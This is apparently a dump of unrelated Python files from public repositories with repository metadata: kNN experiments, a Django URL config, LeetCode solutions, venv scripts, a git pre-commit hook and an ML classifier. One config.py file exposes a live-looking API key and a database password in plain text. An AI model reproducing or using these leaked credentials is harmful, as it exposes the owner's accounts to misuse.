k2_listi,accu2i,k2i,acc2i,prec2i,recal2i,f1sc2i=calculate_accuracy_iris(train,chebyshev_iris,validate) k3_listi,accu3i,k3i,acc3i,prec3i,recal3i,f1sc3i=calculate_accuracy_iris(train,manhattan_iris,validate) # In[161]: print "*******IRIS*******" print print "Eucledian" print print "k: ",k1i print "max accuracy: ",acc1i print "precision: ",prec1i print "recall: ",recal1i print "f1 Score: ",f1sc1i print print "chebyshev" print print "k: ",k2i print "max accuracy: ",acc2i print "precision: ",prec2i print "recall: ",recal2i print "f1 Score: ",f1sc2i print print "manhattan" print print "k: ",k3i print "max accuracy: ",acc3i print "precision: ",prec3i print "recall: ",recal3i print "f1 Score: ",f1sc3i print # # q-1-1-2 # # Graphs for Euclidean, Chebyshev and Manhattan # In[162]: fig,axes=plt.subplots(figsize=(7,7)) axes.plot(k1_list,accu1,label=r"$Eucledian$") axes.plot(k2_list,accu2,label=r"$Chebyshev$") axes.plot(k3_list,accu3,label=r"$Manhattan$") legend=axes.legend(loc='best') axes.set_title('Robot 1') plt.xlabel('k values') plt.ylabel('accuracy') # In[163]: fig,axes=plt.subplots(figsize=(7,7)) axes.plot(k11_list,accu11,label=r"$Eucledian$") axes.plot(k22_list,accu22,label=r"$Chebyshev$") axes.plot(k33_list,accu33,label=r"$Manhattan$") legend=axes.legend(loc='best') axes.set_title('Robot 2') plt.xlabel('k values') plt.ylabel('accuracy') # In[164]: fig,axes=plt.subplots(figsize=(7,7)) axes.plot(k1_listi,accu1i,label=r"$Eucledian$") axes.plot(k2_listi,accu2i,label=r"$Chebyshev$") axes.plot(k3_listi,accu3i,label=r"$Manhattan$") legend=axes.legend(loc='best') axes.set_title('Iris') plt.xlabel('k values') plt.ylabel('accuracy') # # Test file # # For robot1 # In[165]: testfile=raw_input("Test File: ") colnames=[ 'a1', 'a2', 'a3','a4','a5','a6','Id'] test = pd.read_csv(testfile, sep=' ', names=colnames,skipinitialspace=True) test=normalise(test) for index,row in test.iterrows(): print predict(row,3,train1,euclidean) # # For iris # In[166]: testiris=raw_input("Test File: ") colnames_iris=['sepal_length', 'sepal_width', 'petal_length', 'petal_width','class'] testi = pd.read_csv(testiris, sep=',', names=colnames_iris,skipinitialspace=True) testi=normalise_iris(testi) for index,row in testi.iterrows(): print predict_iris(row,7,train,euclidean_iris) # # Comparision With Scikit-learn # In[167]: import numpy as np import matplotlib.pyplot as plt import pandas as pd from sklearn import preprocessing from sklearn.model_selection import train_test_split from sklearn.tree import DecisionTreeClassifier from sklearn.metrics import classification_report, confusion_matrix import matplotlib.pyplot as plt # In[168]: from sklearn import preprocessing from sklearn.model_selection import train_test_split from sklearn.tree import DecisionTreeClassifier from sklearn.metrics import classification_report, confusion_matrix from sklearn.preprocessing import StandardScaler from sklearn.neighbors import KNeighborsClassifier from sklearn.metrics import accuracy_score # In[169]: def compareScikit(df,target,identifier=None): le = preprocessing.LabelEncoder() # df[identifier] = le.fit_transform(df[identifier]) if identifier is not None: df[identifier] = le.fit_transform(df[identifier]) # dataset_R1=dataset_R1.drop('index',1) cols = [col for col in df.columns if col not in [target,identifier]] data=df[cols] target=df[target] data_train, data_test, target_train, target_test = train_test_split(data,target, test_size = 0.20, random_state = 10) scaler = StandardScaler() scaler.fit(data_train) data_train = scaler.transform(data_train) data_test = scaler.transform(data_test) classifier = KNeighborsClassifier(n_neighbors=5) classifier.fit(data_train, target_train) y_pred = classifier.predict(data_test) error = [] l=len(df) l=int(math.sqrt(l)) l+=1 for i in range(1, l): knn = KNeighborsClassifier(n_neighbors=i) knn.fit(data_train, target_train) pred_i = knn.predict(data_test) error.append(np.mean(pred_i != target_test)) plt.figure(figsize=(7, 7)) plt.plot(range(1, l), error, color='red', linestyle='dashed', marker='o', markerfacecolor='blue', markersize=10) plt.title('Error Rate K Value') plt.xlabel('K Value') plt.ylabel('Mean Error') score = accuracy_score(target_test, y_pred) print("score",score) # # Robot 1 # In[170]: compareScikit(robot1,'class','Id') # # Robot 2 # In[171]: compareScikit(robot2,'class','Id') # # Iris # In[172]: compareScikit(data,'class',None) # # Possible reasons for better performance # 1) There is no training phase or it is very minimal, hence no extra time is utilized to do the same. # # # 2) There is no data distribution.

[ "prabha.pandey.iiith@gmail.com" ]

prabha.pandey.iiith@gmail.com

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mohamedhafezqo/nana_library

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[ "mohamed.hafezqo@gmail.com" ]

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/src_docker_version/imdb_clone/imdb_clone/urls.py

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ramankumarrudr/ImdbClone_DeltaX

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2023-04-30T13:09:54.225152

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from django.contrib import admin from django.urls import path,re_path from django.urls import include from django.conf.urls import url from app import views from django.conf import settings from django.conf.urls.static import static urlpatterns = [ path('admin/', admin.site.urls), path('', views.index,name='index'), re_path(r'^tvshow/$', views.tvshows,name='tvshow'), re_path(r'^actor/$', views.actor_images,name='actor'), re_path(r'^exit/$', views.formexit,name='exit'), re_path(r'^form/$',views.post,name='form'), re_path(r'^showform/$',views.post_tvshow,name='show_form'), re_path(r'^actor-form/$',views.actor,name='actor_form'), re_path(r'^form/(?P<id>\d+)/edit/$',views.movie_update,name="update"), re_path(r'^index/(?P<id>\d+)/delete/$',views.movie_delete,name="delete"), re_path(r'^showform/(?P<id>\d+)/edit/$',views.tvshow_update,name="update_tvshow"), re_path(r'^tvshow/(?P<id>\d+)/delete/$',views.tvshow_delete,name="delete_tvshow"), ] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT) urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)

[ "ramankumar.rudr@gmail.com" ]

ramankumar.rudr@gmail.com

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/venv/bin/odf2xml

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xarala221/gestion-parrainage

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refs/heads/master

2020-04-05T02:11:29.592504

2018-11-07T19:31:26

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#!/home/hackerpro/projects/2019/parrainage/venv/bin/python3 # -*- coding: utf-8 -*- # Copyright (C) 2008 Søren Roug, European Environment Agency # # This is free software. You may redistribute it under the terms # of the Apache license and the GNU General Public License Version # 2 or at your option any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public # License along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA # # Contributor(s): # # # OpenDocument can be a complete office document in a single # XML document. This script will create such a document. import sys, getopt, base64 from odf.opendocument import load from odf.draw import Image, ObjectOle from odf.style import BackgroundImage from odf.text import ListLevelStyleImage from odf.office import BinaryData if sys.version_info[0]==3: unicode=str def usage(): sys.stderr.write("Usage: %s [-e] [-o outputfile] [inputfile]\n" % sys.argv[0]) if __name__ == "__main__": embedimage = False try: opts, args = getopt.getopt(sys.argv[1:], "o:e", ["output="]) except getopt.GetoptError: usage() sys.exit(2) outputfile = '-' for o, a in opts: if o in ("-o", "--output"): outputfile = a if o == '-e': embedimage = True if len(args) > 1: usage() sys.exit(2) if len(args) == 0: d = load(sys.stdin) else: d = load(unicode(args[0])) if embedimage: images = d.getElementsByType(Image) + \ d.getElementsByType(BackgroundImage) + \ d.getElementsByType(ObjectOle) + \ d.getElementsByType(ListLevelStyleImage) for image in images: href = image.getAttribute('href') if href and href[:9] == "Pictures/": p = d.Pictures[href] bp = base64.encodestring(p[1]) image.addElement(BinaryData(text=bp)) image.removeAttribute('href') xml = d.xml() if outputfile == '-': print (xml) else: open(outputfile,"wb").write(xml) # Local Variables: *** # mode: python *** # End: ***

[ "xaralaxarala@gmail.com" ]

xaralaxarala@gmail.com

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m358807551/Leetcode

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2023-04-22T15:13:43.771145

2021-05-07T06:47:13

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""" https://leetcode-cn.com/problems/strobogrammatic-number/ """ class Solution(object): def isStrobogrammatic(self, num): """ :type num: str :rtype: bool """ left, right = 0, len(num)-1 while left < right: if num[left]+num[right] not in '00 11 88 69 96'.split(): return False left += 1 right -= 1 return num[left] in '018' if left == right else True print( )

[ "m358807551@163.com" ]

m358807551@163.com

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/Shirley/Notebooks and Resources/config.py

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suealexa/Plane_project

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refs/heads/master

2020-12-19T21:56:30.461197

2020-01-23T19:02:46

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api_key = 'AIzaSyBoe3QXczQK_5R-ivDFVgVH0a_3GDxnXfI' username = 'postgres' password = 'Learn2019!'

[ "noreply@github.com" ]

suealexa.noreply@github.com

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/SomeProject/FaceDetection/get_date.py

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[]

no_license

zhxing001/ML_DL

94d8aa64a459b4d257efefe160dac7fb5433e91e

6c6a0a42f52d7d392dc844aa94306221c52e319a

refs/heads/master

2021-07-15T20:14:16.976797

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def get_date_and_label(): import matplotlib.pyplot as plt #读入数据和标签，我存了一份JPG格式的，但是这样存储是有问题的，matlab三通道拉长的话是 #一个通道连续存储，而python是一个位置三个通道连续存储。所以最后还是改用mat型存储 #============================================================================== # train_img=cv2.imread('train_img.jpg',0) # train_label=cv2.imread('train_label.jpg',0) # test_img=cv2.imread('test_img.jpg',0) # test_label=cv2.imread('test_label.jpg',0) # # train_img_reshape=np.reshape(train_img,[-1,64,64,3]) # plt.imshow(train_img_reshape[1]) # #============================================================================== import scipy.io as sio #使用scipy.io来加载mat文件，还是挺好用的 train_img_mat=sio.loadmat('C:/Users/zhxing/Desktop/data/train_img1.mat') train_img=train_img_mat['train_img_rz'] train_label_mat=sio.loadmat('C:/Users/zhxing/Desktop/data/train_label1.mat') train_label=train_label_mat['train_labels'] test_img_mat=sio.loadmat('C:/Users/zhxing/Desktop/data/test_img1.mat') test_img=test_img_mat['test_img_rz'] test_label_mat=sio.loadmat('C:/Users/zhxing/Desktop/data/test_label1.mat') test_label=test_label_mat['test_labels'] return train_img,train_label,test_img,test_label #=====测试下数据对不对，看来是没有问题的========================================================================= # for i in range(0,15): # img=train_img[i,:,:,:] # plt.figure() # plt.imshow(img) # plt.title(train_label[i]) # #============================================================================== #============================================================================== # for i in range(0,15): # img=test_img[i,:,:,:] # plt.figure() # plt.imshow(img) # plt.title(test_label[i]) #==============================================================================

[ "zhxing_cas@163.com" ]

zhxing_cas@163.com

890dc7e724af48f6a0735079ff1f93c895ef6d0e

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/724. Find Pivot Index.py

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[]

no_license

melekoktay/Leetcode-Practice

a6aba796a1dd9bd239ff64db010c086079c2218f

d181f2075c6c3881772dfbf54df3ac3390936079

refs/heads/master

2022-12-21T07:00:37.086434

2020-10-12T22:40:34

null

0

null

UTF-8

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''' 724. Find Pivot Index My SubmissionsBack to Contest Given an array of integers nums, write a method that returns the "pivot" index of this array. We define the pivot index as the index where the sum of the numbers to the left of the index is equal to the sum of the numbers to the right of the index. If no such index exists, we should return -1. If there are multiple pivot indexes, you should return the left-most pivot index. Example 1: Input: nums = [1, 7, 3, 6, 5, 6] Output: 3 Explanation: The sum of the numbers to the left of index 3 (nums[3] = 6) is equal to the sum of numbers to the right of index 3. Also, 3 is the first index where this occurs. Example 2: Input: nums = [1, 2, 3] Output: -1 Explanation: There is no index that satisfies the conditions in the problem statement. Note: The length of nums will be in the range [0, 10000]. Each element nums[i] will be an integer in the range [-1000, 1000]. ''' from tools import timing class Solution: @timing def pivotIndex(self, nums): """ :type nums: List[int] :rtype: int """ if len(nums) < 3: return -1 left_sum = 0 right_sum = sum(nums) for i, num in enumerate(nums): right_sum -= num if left_sum == right_sum: return i left_sum += num return -1 nums = [1, 2, 3] nums2 = [1, 7, 3, 6, 5, 6] print nums print Solution().pivotIndex(nums) print nums2 sol = Solution() print sol.pivotIndex(nums2)

[ "buaaluqiang@hotmail.com" ]

buaaluqiang@hotmail.com

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/Project Implementation/ML_DL/Count_no_of_coins/Iishi/object_detection_edge.py

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jerelyn-premjit/Dawn

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2022-01-07T09:50:37.850846

2019-04-17T14:08:30

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import cv2 img = cv2.imread('coins.png') bilateral_filtered_image = cv2.bilateralFilter(img, 5, 175, 175) edge_detected_image = cv2.Canny(bilateral_filtered_image, 75, 200) cv2.imshow('Edge', edge_detected_image) cv2.waitKey(0) contours,h = cv2.findContours(edge_detected_image,1,2) for cnt in contours: cv2.drawContours(img,[cnt],0,(0,255,0),1) cv2.imshow('Objects Detected',img) cv2.waitKey(0)

[ "iishipatel@gmail.com" ]

iishipatel@gmail.com

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/.history/valid_20200616215224.py

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MaryanneNjeri/pythonModules

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refs/heads/master

2022-12-16T02:59:19.896129

2020-09-11T12:05:22

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# Ipv4 --> 4 decimal numbers,between 0 to 255 # leading zero's is invalid # check whethere its a digit between 0 to 255 import string def valid(str): if str[len(str)-1] == ":" or str[len(str)-1] == ".": return "Neither" address = str.split(".") numbers = range(0,256) result = None for a in address: if len(address) == 4: print(a.isdigit()) if a.isdigit() == False: result = "Neither" else: if int(a) in numbers: if len(a) == 2 and a[0] == "0": result = "Neither" result = "IPv4" return result else: newAddress = str.split(":") i = 0 while i < len(newAddress)-1: print(newAddress[i]) well = all(c in string.hexdigits for c in newAddress[i]) if newAddress[i] == "": return "Neither" if well == True: return "IPV6" else: return "Neither" i +=1 return result print(valid("12..33.4"))

[ "mary.jereh@gmail.com" ]

mary.jereh@gmail.com

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jasonsemko/swagger

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2020-06-24T15:20:57.586047

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# coding: utf-8 """ AvaTax REST API The AvaTax REST API exposes the most commonly used available for interacting with the AvaTax service, allowing calculation of tax, modification of documents, and validation of addresses. If you're unsure of which API to use, a full comparison of the differences between the functionality provided by our REST and SOAP interfaces is documented [here](http://developer.avalara.com/avatax/soap-or-rest/). The [SOAP API reference](http://developer.avalara.com/avatax/api-reference/tax/soap) is also available. OpenAPI spec version: 1.0 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import os import sys import unittest import swagger_client from swagger_client.rest import ApiException from swagger_client.models.result_code import ResultCode class TestResultCode(unittest.TestCase): """ ResultCode unit test stubs """ def setUp(self): pass def tearDown(self): pass def testResultCode(self): """ Test ResultCode """ model = swagger_client.models.result_code.ResultCode() if __name__ == '__main__': unittest.main()

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jasonsemko@gmail.com

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Abbie-gz/cicd-demo-v5

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from setuptools import find_packages, setup from cicd_demo_2 import __version__ setup( name="cicd_demo_2", packages=find_packages(exclude=["tests", "tests.*"]), setup_requires=["wheel"], version=__version__, description="Databricks Labs CICD Templates Sample Project", author="", )

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ypyabby@163.com

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/words_len5_edited_dist.py

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2021-01-16T22:39:28.438457

2016-02-08T15:39:15

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""" Words/Ladder Graph ------------------ Generate an undirected graph over the 5757 5-letter words in the datafile words_dat.txt.gz. Two words are connected by an edge if they differ in one letter, resulting in 14,135 edges. This example is described in Section 1.1 in Knuth's book [1]_,[2]_. References ---------- .. [1] Donald E. Knuth, "The Stanford GraphBase: A Platform for Combinatorial Computing", ACM Press, New York, 1993. .. [2] http://www-cs-faculty.stanford.edu/~knuth/sgb.html """ __author__ = """\n""".join(['Aric Hagberg (hagberg@lanl.gov)', 'Brendt Wohlberg', 'hughdbrown@yahoo.com']) # Copyright (C) 2004-2015 by # Aric Hagberg <hagberg@lanl.gov> # Dan Schult <dschult@colgate.edu> # Pieter Swart <swart@lanl.gov> # All rights reserved. # BSD license. import networkx as nx #------------------------------------------------------------------- # The Words/Ladder graph of Section 1.1 #------------------------------------------------------------------- def anagrams(word): if len(word) < 2: return word else: tmp = [] for i, letter in enumerate(word): for j in anagrams(word[:i]+word[i+1:]): tmp.append(j+letter) return tmp def generate_graph(words): from string import ascii_lowercase as lowercase G = nx.Graph(name="words") lookup = dict((c,lowercase.index(c)) for c in lowercase) def edit_distance_one(word): for i in range(len(word)): left, c, right = word[0:i], word[i], word[i+1:] j = lookup[c] # lowercase.index(c) for cc in lowercase[j+1:]: ana_word = left + cc + right ana_list = anagrams(ana_word) for i in ana_list: yield i candgen = ((word, cand) for word in sorted(words) for cand in edit_distance_one(word) if cand in words) G.add_nodes_from(words) for word, cand in candgen: G.add_edge(word, cand) return G def words_graph(): """Return the words example graph from the Stanford GraphBase""" import gzip fh=gzip.open('words_dat.txt.gz','r') words=set() for line in fh.readlines(): line = line.decode() if line.startswith('*'): continue w=str(line[0:5]) words.add(w) return generate_graph(words) if __name__ == '__main__': from networkx import * G=words_graph() print("Loaded words_dat.txt containing 5757 five-letter English words.") print("Two words are connected if they differ in one letter in any position.") print("Graph has %d nodes with %d edges" %(number_of_nodes(G),number_of_edges(G))) print("%d connected components" % number_connected_components(G)) for (source,target) in [('chaos','order'), ('nodes','graph'), ('pound','marks')]: print("Shortest path between %s and %s is"%(source,target)) try: sp=shortest_path(G, source, target) for n in sp: print(n) except nx.NetworkXNoPath: print("None")

[ "themesta@gmail.com" ]

themesta@gmail.com

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/listDemo.py

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dafaWang/myPythonDemo

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2021-01-20T16:22:01.096182

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p1 = input('请输入第1个数') p2 = input('请输入第2个数') p3 = input('请输入第3个数') p4 = input('请输入第4个数') p5 = input('请输入第5个数') mList = [p1,p2,p3,p4,p5] print('当前list为 %s' %mList) print('第3个数为 : %s'%mList[2]) print('最后一个数为 : %s'%mList[-1]) p6 = input('请添加一个数') mList.append(p6) print('当前最新的list为 : %s' %mList) p7 = input('请添加一个数') index1 = input('选择插入位置,大于等于0,小于等于%s'%len(mList)) mList.insert(int(index1),p7) print('当前最新list为 : %s'%mList) index2 = input("选择删除一个数的位置大于等于0,小于等于 %s" %len(mList)) mList.pop(int(index2)) print('当前最新list为 : %s'%mList)

[ "mocen_dafa@163.com" ]

mocen_dafa@163.com

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/venv/bin/f2py3.7

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no_license

suryanuj/stock-comparisons

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refs/heads/master

2022-11-05T08:29:22.749066

2020-06-21T05:20:37

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#!/Users/suryanuj/PycharmProjects/btctracker/venv/bin/python # -*- coding: utf-8 -*- import re import sys from numpy.f2py.f2py2e import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit(main())

[ "suryanuj@udel.edu" ]

suryanuj@udel.edu

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/venv/Scripts/easy_install-3.7-script.py

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no_license

scorchgid/OWM-Application

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refs/heads/master

2020-07-22T14:22:00.958513

2019-09-17T18:53:37

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#!C:\Users\Gideon\PycharmProjects\OWM-Application\venv\Scripts\python.exe # EASY-INSTALL-ENTRY-SCRIPT: 'setuptools==40.8.0','console_scripts','easy_install-3.7' __requires__ = 'setuptools==40.8.0' import re import sys from pkg_resources import load_entry_point if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit( load_entry_point('setuptools==40.8.0', 'console_scripts', 'easy_install-3.7')() )

[ "scorchgid@gmail.com" ]

scorchgid@gmail.com

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/EX06/ex6.py

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no_license

SonjaGrusche/LPTHW

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refs/heads/master

2021-01-12T15:52:06.404665

2017-03-21T10:27:53

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# the variable for x gets set, it consists of a string with a format character and its variable at the end x = "There are %d types of people." % 10 # the variable for binary is binary binary = "binary" # the variable for do_not is don't do_not = "don't" # the variable for y is a string that includes two format characters and its variables at the and y = "Those who know %s and those who %s." % (binary, do_not) # two strings inside a string # line 11 and 12 print what'sinside the variables for x and y print x print y # lines 15 and 16 print what's inside the quotes usind the variables at the end to fill in the format characters print "I said %r." % x # string inside string print "I also said: '%s'." % y # one string that already includes two strings is put inside string # lines 19 and 20 define two more variables hilarious = False joke_evaluation = "Isn't that joke so funny?! %r" # line 23 prints the variable for joke_evaluation and fills in the variable for hilarious for the format character print joke_evaluation % hilarious # line 26 and 27 define two variables w = "This is the left side of..." e = "a string with a right side." # variables from line 26 and 27 get printed print w + e # Study Drill # 4. the + concatenates the two strings (not functioning as a math operater)

[ "sonja.grusche@stud.leuphana.de" ]

sonja.grusche@stud.leuphana.de

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/src/pre-commit

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1garo/git_python_script

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refs/heads/master

2020-09-09T02:43:35.112667

2019-11-14T16:30:31

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#!/usr/bin/env python3 import script_2 import os def create(): documents = os.popen( "git diff --cached --name-status").read().splitlines() # Pega todos os documentos dentro da cache prestes a serem comitados i = 0 alcance = len(documents) while i < alcance: full_line = documents[i].split() if full_line[0] == "R100": documents[i] = full_line[2] i += 1 elif full_line[0] == "D": documents.pop(i) alcance -= 1 else: documents[i] = full_line[1] i += 1 block = 0 resp = "Testes OK. Commit Realizado" i = 0 for i in range(len(documents)): r = script_2.main(documents[i]) # Faz a verificacao definida em scriptPat.Compare if r == 0: print(documents[i] + " : Teste realizado com sucesso") else: resp = "Nao commitado" block = 1 print(resp) os._exit(block) # Bloqueia o commit if __name__ == '__main__': create()

[ "alevardai@hotmail.com" ]

alevardai@hotmail.com

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/SearchingSorting/BubbleSort.py

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no_license

purushottamkaushik/DataStructuresUsingPython

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refs/heads/master

2023-03-12T13:25:18.186446

2021-02-28T18:21:37

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def bubblesort(arr): for i in range(len(arr)): for j in range(len(arr)-i-1): if arr[j] > arr[j+1]: arr[j] ,arr[j+1] = arr[j+1] , arr[j] arr = [1,10,2,12,5] print(arr) bubblesort(arr) print(arr)

[ "purushottamkaushik96@gmail.com" ]

purushottamkaushik96@gmail.com

fc6477a6967e95f2b3e5884278adfc5093b566e6

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/settings.py

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no_license

tngo0508/alien_invasion

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refs/heads/master

2020-03-26T04:43:04.861008

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class Settings(): """A class to store all settings for Alien Invasion.""" def __init__(self): """Initialize the game's static setting.""" # Screen settings self.screen_width = 1200 self.screen_height = 800 self.bg_color = (230, 230, 230) # Ship settings self.ship_speed_factor = 1.5 self.ship_limit = 3 # Bullet Settings self.bullet_speed_factor = 3 self.bullet_width = 3 self.bullet_height = 15 self.bullet_color = 60, 60, 60 self.bullets_allowed = 3 # Alien settings self.alien_speed_factor = 1 self.fleet_drop_speed = 10 # fleet_direction of 1 represents right; -1 represents left. self.fleet_direction = 1 self.alien_points = 50 # How quickly the game speeds up self.speedup_scale = 1.1 # How quickly the alien point values increase self.score_scale = 1.5 self.initialize_dynamic_setting() def initialize_dynamic_setting(self): """Initialize settings that change throughout the game.""" self.ship_speed_factor = 1.5 self.bullet_speed_factor = 3 self.alien_speed_factor = 1 # fleet_direction of 1 represents right; -1 represents left. self.fleet_direction = 1 # Scoring self.alien_points = 50 def increase_speed(self): """Increase speed settings and alien point values.""" self.ship_speed_factor *= self.speedup_scale self.bullet_speed_factor *= self.speedup_scale self.alien_speed_factor *= self.speedup_scale self.alien_points = int(self.alien_points * self.score_scale)

[ "tngo0508@gmail.com" ]

tngo0508@gmail.com

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/ModelInputsAndRunScripts/PostprocessingScripts/calc_elev_and_slope.py

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gregtucker/tucker_mccoy_hobley_grain_hill_manuscript

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2020-03-08T15:28:27.288806

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#!/usr/env/python """ calc_elev_and_slope.py Reads output from a series of GrainHill runs, and for each, calculates: 1 - the maximum elevation 2 - the mean elevation 3 - the mean slope. 4 - the mean soil thickness. 5 - the fractional soil cover. These are written to a csv file. """ import os import sys from landlab.io.native_landlab import load_grid import numpy as np DEFAULT_OUTPUT_NAME = 'grain_hill_results.csv' DEFAULT_INPUT_NAME = 'grain_hill_model0001.nc.grid' DEFAULT_INPUT_PATH = os.getcwd() def calc_fractional_soil_cover(grid, node_state): """Calculate and return fractional soil versus rock cover.""" num_soil_air_faces = 0.0 num_rock_air_faces = 0.0 for link in range(grid.number_of_links): tail = grid.node_at_link_tail[link] head = grid.node_at_link_head[link] if node_state[tail] == 0: # if tail is air, see if head is rock/sed if node_state[head] == 7: num_soil_air_faces += 1 elif node_state[head] == 8: num_rock_air_faces += 1 elif node_state[head] == 0: # if head is air, see if tail is rock/sed if node_state[tail] == 7: num_soil_air_faces += 1 elif node_state[tail] == 8: num_rock_air_faces += 1 total_surf_faces = num_soil_air_faces + num_rock_air_faces frac_rock = num_rock_air_faces / total_surf_faces frac_soil = num_soil_air_faces / total_surf_faces print('Total number of surface faces: ' + str(total_surf_faces)) print('Number of soil-air faces: ' + str(num_soil_air_faces)) print('Number of rock-air faces: ' + str(num_rock_air_faces)) print('Percent rock-air faces: ' + str(100.0 * frac_rock)) print('Percent soil-air faces: ' + str(100.0 * frac_soil)) return frac_soil, total_surf_faces, num_soil_air_faces, num_rock_air_faces def get_profile_and_soil_thickness(grid, data): """Calculate and return profiles of elevation and soil thickness. """ nc = grid.number_of_node_columns elev = np.zeros(nc) soil = np.zeros(nc) for col in range(nc): states = data[grid.nodes[:, col]] (rows_with_rock_or_sed, ) = np.where(states > 0) if len(rows_with_rock_or_sed) == 0: elev[col] = 0.0 else: elev[col] = np.amax(rows_with_rock_or_sed) + 0.5 * (col % 2) soil[col] = np.count_nonzero(np.logical_and(states > 0, states < 8)) return elev, soil def get_input_and_output_names(argv): """Parses names for input path, input file name, and output file. Assumes that within the input path folder location there is a series of folders that start with 'G', each containing an output grid.""" if len(argv) < 4: out_name = DEFAULT_OUTPUT_NAME else: out_name = argv[3] if len(argv) < 3: in_name = DEFAULT_INPUT_NAME else: in_name = argv[2] if len(argv) < 2: in_path = DEFAULT_INPUT_PATH else: in_path = argv[1] return in_path, in_name, out_name def two_node_diff(a): """Calculate and return diffs over two nodes instead of one.""" N = len(a) return a[2:] - a[:(N-2)] def calc_mean_gradient(elev_profile): """Given elevation profile, calculates and returns mean gradient.""" N = len(elev_profile) mean_grad_left = np.mean(two_node_diff(elev_profile[:((N+1)/2)])/1.73205) mean_grad_right = np.mean(-two_node_diff(elev_profile[((N+1)/2):])/1.73205) mean_grad = (mean_grad_left + mean_grad_right) / 2.0 return mean_grad def process_model_output_data(in_path, in_name): """Iterate through output files and process, returning list of results.""" results_list = [] for item in os.listdir(in_path): if item[0] == 'G': # Read the Landlab grid and pull out the node_state field g = load_grid(in_path + '/' + item + '/' + in_name) ns = g.at_node['node_state'] # Get the elevation profile (elev, soil) = get_profile_and_soil_thickness(g, ns) # Calculate mean and max elevation N = len(elev) hmax = np.amax(elev[2:N-2]) hmean = np.average(elev[2:N-2]) # Get mean gradient grad_mean = calc_mean_gradient(elev) # Get the mean soil thickness and fractional soil cover soil_mean = np.mean(soil) (fs, nsurf, nsoil, nrock) = calc_fractional_soil_cover(g, ns) run_number = item[17:] run_number = run_number[:run_number.find('-')] print(['run num ' + str(run_number) + ' ' + str(hmax) + ' ' + str(hmean) + ' ' + str(grad_mean) + ' ' + str(soil_mean) + ' ' + str(fs) + ' ' + str(nsurf) + ' ' + str(nsoil) + ' ' + str(nrock)]) results_list.append((int(run_number), hmax, hmean, grad_mean, soil_mean, fs, nsurf, nsoil, nrock)) results_list.sort() return results_list def write_output(results_list, out_name): """Write output to a file in csv format.""" outfile = open(out_name, 'w') outfile.write('Run number,Max height,Mean height,Mean gradient,' + 'Mean soil thickness,Fractional soil cover,' + 'Total number of surface faces,' + 'Number of soil-air faces,' + 'Number of rock-air faces\n') for item in results_list: outstr = (str(item[0]) + ',' + str(item[1]) + ',' + str(item[2]) + ',' + str(item[3]) + ',' + str(item[4]) + ',' + str(item[5]) + ',' + str(item[6]) + ',' + str(item[7]) + ',' + str(item[8]) + '\n') outfile.write(outstr) outfile.close() def main(): """Read, process, write, finish.""" (in_path, in_name, out_name) = get_input_and_output_names(sys.argv) results_list = process_model_output_data(in_path, in_name) write_output(results_list, out_name) print('Processed ' + str(len(results_list)) + ' output files') if __name__ == '__main__': main()

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""" This script provides an exmaple to wrap UER-py for classification. """ import torch import random import argparse import collections import torch.nn as nn from uer.utils.vocab import Vocab from uer.utils.constants import * from uer.utils.tokenizer import * from uer.layers.embeddings import * from uer.encoders.bert_encoder import * from uer.encoders.rnn_encoder import * from uer.encoders.birnn_encoder import * from uer.encoders.cnn_encoder import * from uer.encoders.attn_encoder import * from uer.encoders.gpt_encoder import * from uer.encoders.mixed_encoder import * from uer.utils.optimizers import * from uer.utils.config import load_hyperparam from uer.utils.seed import set_seed from uer.model_saver import save_model class Classifier(nn.Module): def __init__(self, args): super(Classifier, self).__init__() self.embedding = globals()[args.embedding.capitalize() + "Embedding"](args, len(args.tokenizer.vocab)) self.encoder = globals()[args.encoder.capitalize() + "Encoder"](args) self.labels_num = args.labels_num self.pooling = args.pooling self.soft_targets = args.soft_targets self.soft_alpha = args.soft_alpha self.output_layer_1 = nn.Linear(args.hidden_size, args.hidden_size) self.output_layer_2 = nn.Linear(args.hidden_size, self.labels_num) def forward(self, src, tgt, seg, soft_tgt=None): """ Args: src: [batch_size x seq_length] tgt: [batch_size] seg: [batch_size x seq_length] """ # Embedding. emb = self.embedding(src, seg) # Encoder. output = self.encoder(emb, seg) # Target. if self.pooling == "mean": output = torch.mean(output, dim=1) elif self.pooling == "max": output = torch.max(output, dim=1)[0] elif self.pooling == "last": output = output[:, -1, :] else: output = output[:, 0, :] output = torch.tanh(self.output_layer_1(output)) logits = self.output_layer_2(output) if tgt is not None: if self.soft_targets and soft_tgt is not None: loss = self.soft_alpha * nn.MSELoss()(logits, soft_tgt) + \ (1 - self.soft_alpha) * nn.NLLLoss()(nn.LogSoftmax(dim=-1)(logits), tgt.view(-1)) else: loss = nn.NLLLoss()(nn.LogSoftmax(dim=-1)(logits), tgt.view(-1)) return loss, logits else: return None, logits def count_labels_num(path): labels_set, columns = set(), {} with open(path, mode="r", encoding="utf-8") as f: for line_id, line in enumerate(f): if line_id == 0: for i, column_name in enumerate(line.strip().split("\t")): columns[column_name] = i continue line = line.strip().split("\t") label = int(line[columns["label"]]) labels_set.add(label) return len(labels_set) def load_or_initialize_parameters(args, model): if args.pretrained_model_path is not None: # Initialize with pretrained model. model.load_state_dict(torch.load(args.pretrained_model_path), strict=False) else: # Initialize with normal distribution. for n, p in list(model.named_parameters()): if 'gamma' not in n and 'beta' not in n: p.data.normal_(0, 0.02) def build_optimizer(args, model): param_optimizer = list(model.named_parameters()) no_decay = ['bias', 'gamma', 'beta'] optimizer_grouped_parameters = [ {'params': [p for n, p in param_optimizer if not any(nd in n for nd in no_decay)], 'weight_decay_rate': 0.01}, {'params': [p for n, p in param_optimizer if any(nd in n for nd in no_decay)], 'weight_decay_rate': 0.0} ] optimizer = AdamW(optimizer_grouped_parameters, lr=args.learning_rate, correct_bias=False) scheduler = WarmupLinearSchedule(optimizer, warmup_steps=args.train_steps*args.warmup, t_total=args.train_steps) return optimizer, scheduler 